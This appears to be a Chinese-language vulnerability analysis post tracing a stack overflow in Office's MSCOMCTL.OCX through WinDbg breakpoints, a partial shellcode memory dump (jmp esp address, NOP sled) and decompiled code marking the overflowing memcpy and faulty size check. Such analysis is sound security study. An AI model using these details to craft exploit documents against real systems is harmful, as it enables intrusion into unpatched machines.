没怎么调过洞,看雪随便搜了一下cve,发现这个比较多
几篇结果都在大篇幅的讲怎么定位溢出点,有那么复杂么……栈上下一个内存写入的条件断点就断下来了吧,不过分析过漏洞之后,只知道代码逻辑的bug。。。但是至于doc的文件结构哪部分的问题,什么问题,如何构造这个poc,就又是需要花很多功夫了
触发一次poc,发现poc最后会弹出计算器并且退出,于是 bp ExitProcess
断下后dd esp查看返回地址是
0011ac57 c3 ret
重启程序,下一个内存写入条件断点
ba w1 0011ac57 ".if(by(0011ac57)==0xc3){}.else{gc;}"
不一会儿就断下来了
0:000> g
*** ERROR: Symbol file could not befound. Defaulted to export symbols forC:\Program Files\Microsoft Office\OFFICE12\VBE6.DLL -
ModLoad: 27580000 27685000 C:\Program Files\Common Files\MicrosoftShared\OFFICE12\VBA\MSCOMCTL.OCX
ModLoad: 76320000 76367000 C:\WINDOWS\system32\comdlg32.dll
*** ERROR: Symbol file could not befound. Defaulted to export symbols forC:\Program Files\Common Files\Microsoft Shared\OFFICE12\VBA\MSCOMCTL.OCX -
eax=00008282 ebx=020357b8 ecx=00002074edx=00000000 esi=0020d2f8 edi=0011ac70
eip=275c87cb esp=0011ab84 ebp=0011ab94iopl=0 nv up ei pl nz na pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010207
MSCOMCTL!DllGetClassObject+0x41a87:
275c87cb f3a5 rep movs dword ptr es:[edi],dwordptr [esi]
然后kv一下,
0:000> kv
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information notavailable. Following frames may be wrong.
0011ab94 275c8a0a 0011abc00020d248 00008282 MSCOMCTL!DllGetClassObject+0x41a87
0011ac90 2758aee8 00204cf8 00000000020357b8 MSCOMCTL!DllGetClassObject+0x41cc6
00000000 00000000 00000000 0000000000000000 MSCOMCTL!DllGetClassObject+0x41a4
这就是shellcode
0:000> db 0011abc0 ;
0011abc0 00 00 00 00 00 00 00 00-00 00 00 00 12 45 fa 7f .............E.. //jmp esp
0011abd0 90 90 90 90 90 90 90 90-8b c4 05 10 01 00 00 c7 ................
0011abe0 00 24 03 4d 08 e9 5a 00-00 00 6b 65 72 6e 65 6c .$.M..Z...kernel
0011abf0 33 32 00 df 2d 89 8c 1b-81 7d ef 42 9d 85 85 d6 32..-....}.B....
0011ac00 4e 99 59 5a 61 d8 54 93-77 77 21 9d 4a 62 68 c3 N.YZa.T.ww!.Jbh.
0011ac10 53 a3 83 6a 6b df 5c 5a-8a 1d 2b 4f 2c 45 28 81 S..jk.\Z..+O,E(.
0011ac20 71 f5 40 01 92 8f 05 ba-36 c1 0a 61 61 61 61 73 q.@.....6..aaaas
0011ac30 68 65 6c 6c 33 32 00 8b-98 8a 31 61 61 61 61 6f hell32....1aaaao
int __cdecl sub_275C876D(void *a1, LPVOID lpMem, SIZE_T dwBytes)
{
intresult; // eax@1
LPVOID v4; // ebx@1
LPVOID v5; // eax@3
intv6; // esi@4
intv7; // [sp+Ch] [bp-4h]@1
const void *v8; // [sp+1Ch] [bp+Ch]@3
v4= lpMem;
result = (*(int (__stdcall **)(LPVOID, int *, signed int,_DWORD))(*(_DWORD *)lpMem + 12))(lpMem, &v7, 4, 0);
if( result >= 0 )
{
if ( v7 == dwBytes )
{
v5 = HeapAlloc(hHeap, 0, dwBytes);
v8 = v5;
if ( v5 )
{
v6 = (*(int (__stdcall **)(LPVOID, LPVOID, SIZE_T, _DWORD))(*(_DWORD*)v4 + 12))(v4, v5, dwBytes, 0);
if ( v6 >= 0 )
{
memcpy(a1, v8, dwBytes); //溢出点
v6 = (*(int (__stdcall **)(LPVOID, _UNKNOWN *, SIZE_T, _DWORD))(*(_DWORD*)v4 + 12))(
v4,
&unk_27632368,
((dwBytes + 3) &0xFFFFFFFC) - dwBytes,
0);
}
HeapFree(hHeap, 0, (LPVOID)v8);
result = v6;
}
else
{
result = 0x8007000Eu;
}
}
else
{
result = 0x8000FFFFu;
}
}
return result;
}
再查看一下他的调用者
int __stdcall sub_275C89C7(int a1, void *lpMem)
{
intresult; // eax@1
BSTR v3; // ebx@1
intv4; // esi@4
intv5; // [sp+Ch] [bp-14h]@1
SIZE_T dwBytes; // [sp+14h] [bp-Ch]@3
intv7; // [sp+18h] [bp-8h]@4
intv8; // [sp+1Ch] [bp-4h]@8
v3= (BSTR)lpMem;
result = sub_275C876D(&v5, lpMem, 0xCu);
if( result >= 0 )
{
if ( v5 == 0x6A626F43&& dwBytes >= 8 ) //覆盖大小错误的判断为>=8 导致可覆盖多字节
{
v4 = sub_275C876D(&v7, v3, dwBytes);
if ( v4 >= 0 )
{
if ( !v7 )
goto LABEL_8;
lpMem = 0;
v4 = sub_275C8A59((UINT)&lpMem,(int)v3);
if ( v4 >= 0 )
{
sub_27585BE7((BSTR)lpMem);
SysFreeString((BSTR)lpMem);
LABEL_8:
if ( v8 )
v4 = sub_275C8B2B(a1 + 20, v3);
return v4;
}
}
return v4;
}
result = -2147418113;
}
return result;
}